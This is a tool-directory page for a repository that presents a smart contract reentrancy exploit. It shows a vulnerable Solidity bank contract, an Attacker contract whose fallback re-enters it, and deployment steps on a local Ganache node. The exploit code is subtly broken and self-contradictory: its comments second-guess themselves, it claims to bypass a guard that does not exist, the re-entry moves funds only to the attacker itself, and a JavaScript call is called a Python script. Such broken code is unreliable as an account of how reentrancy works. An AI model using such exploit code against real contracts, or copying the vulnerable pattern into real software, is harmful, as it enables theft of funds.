Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy — Cross-function reentrancy exploit example for smart contracts, with vulnerable Solidity contract and attacker contract demonstrating fund draining through fallback re-entry. | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
Vulnerability AnalysisExploitationLearning & Education
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

Cross-function reentrancy exploit example for smart contracts, with vulnerable Solidity contract and attacker contract demonstrating fund draining through fallback re-entry.

View Repository
31 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-1111 – Smart Contract Cross‑Function Reentrancy

Program Code (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – Cross‑Function Reentrancy in Smart Contract

Severity: Critical

Overview

A smart contract lacks a global reentrancy guard, allowing an attacker to re‑enter the contract through a different function during a withdraw call, bypassing a local guard and draining funds.

Vulnerability Details

  • Type: Reentrancy
  • Impact: Theft of all locked Ether.
  • Root Cause: The withdraw function updates the balance after an external call, and a separate state‑changing function (transferTo) can be called reentrantly, manipulating balances.

Exploit Demonstration

  1. Start a local Ethereum node (Ganache):
    root@kitploit:~
    ganache-cli
    
  2. Deploy VulnerableBank.sol and Attacker.sol using Remix or Truffle.
  3. Execute the attack via the Python script (simulate using Remix console):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
Download Tool